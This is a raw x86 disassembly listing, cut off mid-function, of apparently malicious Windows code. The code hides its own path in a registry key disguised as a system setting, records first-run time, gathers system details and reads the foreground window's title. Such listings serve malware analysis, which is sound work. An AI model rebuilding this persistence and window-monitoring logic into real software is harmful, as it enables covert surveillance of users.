xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x53aa]
push edx
mov word [ebp - 0x53ac], cx
call fcn.00423160
lea eax, [ebp - 0x53ac]
add esp, 0xc
push eax
mov ecx, str.Come
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x53ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [ebp - 0x274]
test eax, eax
jne 0x407f04
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x407b52
push eax
call fcn.004221f2
dec eax
test eax, eax
jle 0x407b7b
mov ecx, 0x5c
lea esp, [esp]
cmp word [ebp + eax*2 - 0x274], cx
je 0x407b71
dec eax
test eax, eax
jg 0x407b60
jmp 0x407b7b
xor ecx, ecx
mov word [ebp + eax*2 - 0x272], cx
push str.versionComeOn
lea edx, [ebp - 0x274]
push edx
mov eax, edx
push 0x44014c
push eax
call esi
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x1b3a]
push edx
mov word [ebp - 0x1b3c], cx
call fcn.00423160
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0041e128
add esp, 4
push 0
push 0
push edi
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
mov dword [ebp - 0x74d4], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x74d4]
push 0x43fc28
push edx
call fcn.004216ee
add esp, 8
mov dword [ebp - 0x74d0], eax
test eax, eax
jne 0x407c40
push 0x440158
lea eax, [ebp - 0x1b3c]
push 0x43fa88
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x1b3c]
push ecx
push 0x43fa88
lea edx, [ebx + 0x21b2]
push edx
jmp 0x408087
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0041e128
add esp, 4
push 0
push 0
push edi
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
mov dword [ebp - 0x74d4], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x74d4]
push 0x43fc28
push edx
call fcn.004216ee
mov edi, eax
add esp, 8
test edi, edi
je 0x407ccd
push 2
push 0
push edi
call fcn.00421dc1
add esp, 0xc
push edi
call fcn.00421941
add esp, 4
push edi
mov dword [ebp - 0x74d4], eax
call fcn.00421eaa
add esp, 4
cmp dword [ebp - 0x74d4], 0
jne 0x407cd7
push 0x440164
jmp 0x407c17
mov edi, dword [ebp - 0x74d0]
push edi
lea eax, [ebp - 0xa5c]
push 0x3e8
push eax
call fcn.00421320
add esp, 0xc
test eax, eax
je 0x407d3b
jmp 0x407d00
lea ecx, [ebp - 0xa5c]
push 0x440170
push ecx
call fcn.00421458
lea edx, [ebp - 0xa5c]
push edx
push 0x43ea00
call fcn.00421575
push edi
lea eax, [ebp - 0xa5c]
push 0x3e8
push eax
call fcn.00421320
add esp, 0x1c
test eax, eax
jne 0x407d00
push edi
call fcn.00421eaa
add esp, 4
xor eax, eax
jmp 0x407d50
mov cl, byte [ebp + eax - 0xa5c]
mov byte [ebp + eax - 0x65c], cl
inc eax
test cl, cl
jne 0x407d50
lea eax, [ebp - 0xa5c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407d70
sub eax, edx
lea ecx, [ebp - 0xa5c]
push ecx
mov edx, eax
call fcn.00406740
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3592]
push eax
mov word [ebp - 0x3594], dx
call fcn.00423160
lea eax, [ebp - 0xa5c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407db1
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xa5c]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0xa5c]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407de2
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x3594]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xa5c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x3594]
push edx
lea eax, [ebx + 0x21b2]
push 0x43fa88
push eax
call esi
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x1272]
push edx
mov word [ebp - 0x1274], cx
call fcn.00423160
lea eax, [ebp - 0x65c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407e45
push 0
sub eax, ecx
push 0
inc eax
push eax
lea eax, [ebp - 0x65c]
push eax
push 0
push 0
call edi
lea ecx, [ebp - 0x65c]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407e70
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x65c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x407ef2
lea eax, [ebp - 0x1274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea ecx, [ebp - 0x1274]
push ecx
push 1
push 0
push str.Come
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x407ef2
mov eax, dword [ebp - 0x74c8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408092
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408092
push 0x208
push 0
push edx
mov dword [ebp - 0x74c8], 0
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x74c8]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74d4]
push ecx
mov ecx, dword [ebp - 0x74c8]
lea edx, [ebp - 0x274]
push edx
lea eax, [ebp - 0x74d0]
push eax
push 0
push str.Come
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x74c8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea eax, [ebp - 0x673]
push 0
push eax
mov byte [ebp - 0x674], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea edx, [ebp - 0x674]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x674]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407fe0
sub eax, ecx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00406740
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408021
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74cc], edx
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408050
sub ecx, dword [ebp - 0x74cc]
push eax
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1b3c]
push edx
push 0x43fa88
lea eax, [ebx + 0x21b2]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add esp, 0xc
mov ecx, ebx
call fcn.0040c7f0
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x5baa]
push edx
mov word [ebp - 0x5bac], cx
call fcn.00423160
lea eax, [ebp - 0x5bac]
add esp, 0xc
push eax
mov ecx, 0x440174
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x5bac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x408304
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea ecx, [ebp - 0x1b3c]
add esp, 0xc
push ecx
mov ecx, str.opentime
call fcn.00410ba0
add esp, 4
lea edx, [ebp - 0x1b3c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40813e
push 0x44019c
lea eax, [ebx + 0x23a6]
push 0x43fa88
push eax
call esi
add esp, 0xc
jmp 0x4082e9
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74d4]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74d0]
push edx
push 0
push str.opentime
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4081cc
push 0x4401a4
push 0x43fa88
lea ecx, [ebx + 0x23a6]
push ecx
jmp 0x4082d7
push 0x3ff
lea edx, [ebp - 0x673]
push 0
push edx
mov byte [ebp - 0x674], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408230
sub eax, edx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1272]
push eax
mov word [ebp - 0x1274], dx
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408271
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74cc], edx
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4082a0
sub ecx, dword [ebp - 0x74cc]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1274]
push edx
push 0x43fa88
lea eax, [ebx + 0x23a6]
push eax
call esi
mov ecx, dword [ebp - 0x74c8]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4401b0
lea edx, [ebx + 0x227a]
push 0x43fa88
push edx
call esi
add esp, 0xc
jmp 0x408b9a
push 0x208
lea eax, [ebp - 0x87c]
push 0
push eax
mov dword [ebp - 0x74cc], 0
call fcn.00423160
add esp, 0xc
lea ecx, [ebp - 0x74cc]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d4], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74d4]
push edx
mov edx, dword [ebp - 0x74cc]
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x74d0]
push ecx
push 0
push 0x440174
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408397
push 0x4401b8
lea eax, [ebx + 0x227a]
push 0x43fa88
push eax
call esi
add esp, 0xc
jmp 0x408b8d
push 0x3ff
lea ecx, [ebp - 0x673]
push 0
push ecx
mov byte [ebp - 0x674], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083f5
sub eax, edx
lea edx, [ebp - 0x674]
push edx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408436
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x674]
push edx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea esi, [ecx + 1]
jmp 0x408460
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408460
push eax
sub ecx, esi
lea eax, [ebp - 0x3d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea esi, [ebp - 0x3d94]
call fcn.00406510
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
je 0x40896f
push str.X__W
lea edx, [ebx + 0x227a]
push 0x43fa88
push edx
call esi
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x2d92]
push ecx
mov word [ebp - 0x2d94], ax
call fcn.00423160
lea edx, [ebp - 0x2d94]
add esp, 0xc
push edx
mov ecx, str.opentime
call fcn.00410ba0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
lea eax, [ebp - 0x2d94]
push eax
call edi
test eax, eax
jne 0x408788
lea ecx, [ebp - 0x73bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x73b0]
movzx eax, word [ebp - 0x73b2]
movzx ecx, word [ebp - 0x73b4]
push edx
movzx edx, word [ebp - 0x73b6]
push eax
movzx eax, word [ebp - 0x73ba]
push ecx
movzx ecx, word [ebp - 0x73bc]
push edx
push eax
push ecx
lea edx, [ebp - 0x26c]
push 0x43fa14
push edx
call esi
push 0x3ff
lea eax, [ebp - 0x3193]
push 0
push eax
mov byte [ebp - 0x3194], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x2c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x26c]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0x3194]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x26c]
push eax
push 0
push 0
call esi
lea eax, [ebp - 0x3194]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085a5
sub eax, edx
lea ecx, [ebp - 0x3194]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea eax, [ebp - 0x3194]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085e6
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x3194]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3194]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408611
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x3194]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x74c8]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40868a
lea edx, [ebp - 0x1b3c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea eax, [ebp - 0x1b3c]
push eax
push 1
push 0
push str.opentime
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40868a
mov edx, dword [ebp - 0x74c8]
push edx
jmp 0x408691
mov eax, dword [ebp - 0x74c8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea ecx, [ebp - 0xe73]
push 0
push ecx
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x1b3c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xe74]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x1b3c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f5
sub eax, edx
lea edx, [ebp - 0xe74]
push edx
mov edx, eax
call fcn.00416eb0
lea eax, [ebp - 0xe74]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408718
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408743
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x23a6]
push 0x43fa88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x408b8d
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1b3a]
push ecx
mov word [ebp - 0x1b3c], ax
call fcn.00423160
lea edx, [ebp - 0x1b3c]
add esp, 0xc
push edx
mov ecx, str.opentime
call fcn.00410ba0
add esp, 4
lea eax, [ebp - 0x1b3c]
push eax
call edi
test eax, eax
jne 0x4087e2
push 0x44019c
lea ecx, [ebx + 0x23a6]
push 0x43fa88
push ecx
call esi
add esp, 0xc
jmp 0x408b8d
push 0x208
lea edx, [ebp - 0x274]
push 0
push edx
mov dword [ebp - 0x74c8], 0
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x74c8]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74e8], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74e8]
push ecx
mov ecx, dword [ebp - 0x74c8]
lea edx, [ebp - 0x274]
push edx
lea eax, [ebp - 0x73b0]
push eax
push 0
push str.opentime
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408872
push 0x4401a4
lea edx, [ebx + 0x23a6]
push 0x43fa88
push edx
call esi
jmp 0x408b7d
push 0x3ff
lea eax, [ebp - 0xe73]
push 0
push eax
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0xe74]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088d0
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3592]
push eax
mov word [ebp - 0x3594], dx
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408911
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408940
push esi
sub ecx, edi
lea edx, [ebp - 0x3594]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3594]
jmp 0x408b6a
push str.1YHe
lea ecx, [ebx + 0x227a]
push 0x43fa88
push ecx
call esi
add esp, 0xc
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x2d92]
push eax
mov word [ebp - 0x2d94], dx
call fcn.00423160
lea ecx, [ebp - 0x2d94]
add esp, 0xc
push ecx
mov ecx, str.opentime
call fcn.00410ba0
add esp, 4
lea edx, [ebp - 0x2d94]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4089e3
push 0x44019c
lea eax, [ebx + 0x23a6]
push 0x43fa88
push eax
call esi
add esp, 0xc
jmp 0x408b8d
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x73b0], 0x104
mov dword [ebp - 0x74e8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x73b0]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74e8]
push edx
push 0
push str.opentime
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408a73
push 0x4401a4
lea ecx, [ebx + 0x23a6]
push 0x43fa88
push ecx
call esi
jmp 0x408b7d
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ad1
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b12
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b40
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x23a6]
push 0x43fa88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74c8]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x74cc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x74dc]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push edx
lea eax, [ebx + 0x2342]
push 0x43fa88
push eax
call edi
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x7554]
push ecx
mov esi, eax
call fcn.00421f1e
mov ecx, dword [ebp - 0x7554]
mov eax, 0x10624dd3
mul esi
shr edx, 6
xor eax, eax
add esp, 4
sub ecx, edx
mov edx, dword [ebp - 0x7550]
sbb edx, eax
lea eax, [ebp - 0x754c]
push eax
mov dword [ebp - 0x754c], ecx
mov dword [ebp - 0x7548], edx
call fcn.00421ca3
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add esp, 4
push ecx
mov ecx, dword [eax + 8]
push edx
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x10]
push edx
mov edx, dword [eax + 0x14]
inc ecx
push ecx
add edx, 0x76c
push edx
lea eax, [ebx + 0x2086]
push str._d._d._d__d:_d:_d
push eax
call edi
add esp, 0x20
lea ecx, [ebx + 0x240a]
call fcn.0040a4b0
lea ecx, [ebx + 0x246e]
call fcn.0040a8c0
lea esi, [ebx + 0x24d2]
call fcn.0040ab00
lea ecx, [ebx + 0x22de]
call fcn.0040b050
push 0x3ff
push ecx
call fcn.0040a170
add esp, 4
push eax
lea ecx, [ebx + 0x2d36]
push 0x400
push ecx
call fcn.00420cc4
call fcn.004065d0
push eax
lea edx, [ebx + 0x6c5e]
push 0x43fa88
push edx
call edi
add esp, 0x1c
lea ecx, [ebx + 0x4d36]
call fcn.0040b3c0
lea ecx, [ebx + 0x4d9a]
call fcn.0040b600
lea ecx, [ebx + 0x4dfe]
call fcn.0040b840
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x4401f4
push 0x44c370
call esi
test eax, eax
jne 0x408ce5
lea ecx, [ebx + 0x4e62]
call fcn.0040ba80
lea ecx, [ebx + 0x4ec6]
call fcn.0040bef0
lea eax, [ebx + 0x5b5e]
push eax
lea ecx, [ebx + 0x5a5e]
push ecx
lea edx, [ebx + 0x595e]
push edx
lea eax, [ebx + 0x412]
lea edx, [ebx + 0x585e]
lea ecx, [ebx + 0x575e]
push eax
call fcn.0040cb80
lea edx, [ebx + 0x5a2]
lea ecx, [ebx + 0xf86]
push edx
call fcn.0040cd40
add esp, 0x14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x408d44
push 0xfa
lea ecx, [ebx + 0x6ce]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x4401f4
push 0x44c370
call esi
push 0x7fe
push 0
test eax, eax
jne 0x40914f
lea eax, [ebp - 0x2d92]
xor edx, edx
push eax
mov word [ebp - 0x2d94], dx
call fcn.00423160
lea ecx, [ebp - 0x2d94]
add esp, 0xc
push ecx
mov ecx, str.FroxMXOifjScall
call fcn.00410ba0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
lea edx, [ebp - 0x2d94]
push edx
call esi
test eax, eax
jne 0x408fb2
push 0x7fe
push eax
lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00423160
lea edx, [ebp - 0x3d94]
add esp, 0xc
push edx
mov ecx, str.lagsnameTow
call fcn.00410ba0
add esp, 4
lea eax, [ebp - 0x3d94]
push eax
call esi
test eax, eax
jne 0x408dfa
